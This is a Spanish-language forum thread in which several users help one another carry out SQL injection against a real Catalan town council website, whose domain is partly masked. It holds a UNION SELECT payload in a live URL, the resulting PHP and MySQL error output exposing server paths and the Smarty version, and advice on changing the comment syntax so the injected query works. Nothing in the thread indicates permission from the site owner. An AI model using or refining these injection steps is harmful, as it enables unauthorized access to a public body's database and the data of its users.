Ayuda como seguir con SQL Inyection

[nuevaorden]

mmmmmmm en el fichero rss.php?

http://www.*******.info/rss.php?noticies=2%20union%20select%20user%28%29,2,3%20--bisbal@localhost



Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/usuaris/bisbal/php/categoria.php on line 127

Warning: Cannot modify header information - headers already sent by (output started at /home/usuaris/bisbal/php/categoria.php:126) in /home/usuaris/bisbal/rss.php on line 27

Warning: Cannot modify header information - headers already sent by (output started at /home/usuaris/bisbal/php/categoria.php:126) in /home/usuaris/bisbal/php/rss10.php on line 77
http://www.******.cat Les últimes notícies de l'Ajuntament http://www.******.cat/index.php?noticies=2&codi=376 PLE ORDINARI DEL 26 DE GENER DE 2010  http://www.********.cat/index.php?noticies=2&codi=374 PLE EXTRAORDINARI DEL DIA 21 DE GENER DE 2010 http://www.******.cat/index.php?noticies=2&codi=364 PLE ORDINARI DEL 27 DE GENER DE 2009 http://www.******.cat/index.php?noticies=2&codi=363 PLE ORDINARI DEL 30 DE JUNY DE 2009  http://www.*********.cat/index.php?noticies=2&codi=361 PLE ORDINARI DEL DIA 22 DE DESEMBRE DE 2009

[WHK]

jajajaja espero que no sea el bisbal que yo conozco o vas a terminar igual que t1z4k jajaja

[nuevaorden]

JAJAJAJAJAJ no no lo es jejejejejejejeje  mmmm no hay maneras buffff.....

[WHK]

home/usuaris/bisbal/templates_c/contingut.tpl
ese templates_c me recuerda a un post que está mas abajo, me da la impresion de que es el mismo sistema pero estoy inseguro

[nuevaorden]

Smarty version 2.5.0   mmmmm

[WHK]

si tratas de hacer una query corrupta te escribe la query pero si la query no es corrupta pero aun así da error entonces sale mysql_error(), en ese caso se puede deducir que está utilizando mysqli o alguna función que verifica la query antes de ser procesada

[nuevaorden]

Si eso me he fijado, estoy mirando el cms smarty 2.5.0 en google....

[nuevaorden]

que post dices que es similar?????

Gracias

[nuevaorden]

Usa mysqli el cms bufffff mas dificil !!!!

[tragantras]

No s'ha pogut llegir select * from pdfs where idarticle=-1 order by 6/* and categoria=1 order by codi asc

mmmmmm

prueba a poner en vez de

Código [Seleccionar] Expandir

/* 

Código [Seleccionar] Expandir

-- porque parece que no se hace "el comentario" de la query siguiente